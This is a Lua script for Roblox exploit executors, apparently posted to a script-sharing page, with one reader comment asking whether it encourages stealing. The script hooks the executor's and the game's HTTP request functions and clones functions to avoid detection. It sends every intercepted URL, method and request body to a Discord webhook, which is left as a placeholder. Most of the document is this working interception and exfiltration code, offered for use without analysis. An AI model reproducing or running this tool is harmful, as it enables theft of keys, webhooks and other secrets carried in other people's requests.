local n = clonefunction
local webhook = " YOUR WEBHOOK HERE "
webhook = webhook:gsub(' ', '')
if not n then
return game:Shutdown()
end
local cloned_n = n(clonefunction)
if not cloned_n then
return game:Shutdown()
end
local request = (syn and syn.request) or http and http.request or http_request or (fluxus and fluxus.request) or request
local cloned_functions = {
request = cloned_n(request),
hookfunction = cloned_n(hookfunction),
table = cloned_n(table.clone)(table),
task = cloned_n(table.clone)(task),
date = cloned_n(os.date),
time = cloned_n(os.time),
JSONEncode = cloned_n(game:GetService("HttpService").JSONEncode),
service = cloned_n(game.GetService),
pcall = cloned_n(pcall),
tostring = cloned_n(tostring),
type = cloned_n(type),
string_find = cloned_n(string.find),
string_lower = cloned_n(string.lower),
string_match = cloned_n(string.match),
table_find = cloned_n(table.find),
table_insert = cloned_n(table.insert),
httpget = cloned_n(game.HttpGet),
httpgetasync = cloned_n(game.HttpGetAsync),
}
local services = {
HttpService = cloned_functions.service(game, "HttpService"),
}
local cooldown = false
local function send(url, req)
if cooldown then
return nil
end
cooldown = true
cloned_functions.task.spawn(function()
if cloned_functions.type(url) ~= "string" then
url = cloned_functions.tostring(url)
end
if cloned_functions.string_find(url, webhook) then
cooldown = false
return
end
local ts = cloned_functions.date("%Y-%m-%d %H:%M:%S", cloned_functions.time())
local method = "none"
if req and req.Method then
method = cloned_functions.tostring(req.Method)
end
local bodyStr = "none"
if req and req.Body ~= nil then
if type(req.Body) == "table" then
local ok, encoded = cloned_functions.pcall(cloned_functions.JSONEncode, services.HttpService, req.Body)
if ok and encoded then
bodyStr = encoded
else
bodyStr = cloned_functions.tostring(req.Body)
end
else
bodyStr = cloned_functions.tostring(req.Body)
end
end
local content = "Timestamp: " .. ts .. "\nURL: " .. cloned_functions.tostring(url) .. "\nMethod: " .. method .. "\nBody: " .. bodyStr
local data = {
["content"] = content
}
local jsonData = cloned_functions.JSONEncode(services.HttpService, data)
cloned_functions.request({
Url = webhook,
Method = "POST",
Headers = {
["Content-Type"] = "application/json",
},
Body = jsonData,
})
end)
cooldown = false
return nil
end
local function clean(args)
local req = {}
if cloned_functions.type(args[1]) == "table" and args[1].Url then
req = args[1]
elseif cloned_functions.type(args[1]) == "string" then
req.Url = args[1]
if args[2] ~= nil then
if cloned_functions.type(args[2]) == "string" then
req.Body = args[2]
req.Method = "POST"
elseif cloned_functions.type(args[2]) == "table" then
req.Body = args[2]
req.Method = "POST"
end
end
end
if not req.Method then
req.Method = req.Body and "POST" or "GET"
end
return req
end
local function attach(fn)
if not fn or cloned_functions.type(fn) ~= "function" then
return
end
local orig
orig = cloned_functions.hookfunction(fn, function(...)
local args = { ... }
local req = clean(args)
if req.Url and cloned_functions.string_find(cloned_functions.string_lower(cloned_functions.tostring(req.Url)), "http") then
send(req.Url, req)
end
return orig(...)
end)
end
attach(http and http.request)
attach(http_request)
attach(request)
attach(syn and syn.request)
attach(fluxus and fluxus.request)
if services and services.HttpService then -- unsure why but im pretty sure KOCMOC used it, so why not
attach(services.HttpService.PostAsync)
attach(services.HttpService.GetAsync)
end
cloned_functions.hookfunction(game.HttpGet, function(self, url, ...)
send(url, { Method = "HTTP GET"})
return cloned_functions.httpget(self, url, ...)
end)
cloned_functions.hookfunction(game.HttpGetAsync, function(self, url, ...)
send(url, { Method = "HTTP GET ASYNC" })
return cloned_functions.httpgetasync(self, url, ...)
end)
Comments
Is this like encouragement to steal, your thumbnail is very weird